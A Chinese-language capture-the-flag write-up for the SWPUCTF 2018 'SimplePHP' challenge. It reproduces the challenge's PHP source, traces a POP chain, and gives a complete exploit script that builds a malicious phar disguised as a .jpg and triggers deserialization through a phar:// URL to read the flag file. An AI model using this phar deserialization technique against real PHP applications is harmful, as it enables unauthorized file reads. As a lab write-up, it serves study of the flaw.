[SWPUCTF 2018]SimplePHP

读源码

提示了flag的位置，同时还有三个链接，file.php应该可以读文件。当然不可能直接读到flag，我们读另外两个。
重点放在file.php,class.php和function.php上面

#file.php
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

#function.php
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

#class.php
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

粗略审计，看到了unlink函数，又是文件上传。猜测phar反序列化。
class.php中的应该是我们要利用的地方。

pop链：
C1e4r类创建时，会将传入的参数最终赋值给C1e4r->test并输出。

show类将传入的参数file在__toString的时候复制给content并返回，__toString方法由C1e4r类中的__destruct触发。

Test类中，__get魔术方法会在调用不存在的属性时触发，Test类中不存在source属性。

C1e4r::__destruct()->Show::__toString->Test::__get()

exp:

<?php
class C1e4r
{
    public $test;
    public $str;

}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = 'var/www/html/f1ag.php';//要访问的文件。
$a->str = $b;//触发__toString
$b->str['str'] = $c;//构成$c->source访问Test类中不存在的source属性触发__get

$phar = new Phar("hacker.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

?>

因为对后缀名做了过滤，我们把phar文件后缀改成.jpg上传
虽然路径是我们的ip地址的md5加密，但upload可以直接访问

回到file.php界面构造

file.php?file=phar://upload/e65fe26674e1a9a0b0fc26998bba8d50.jpg

将结果base64解码后拿到flag。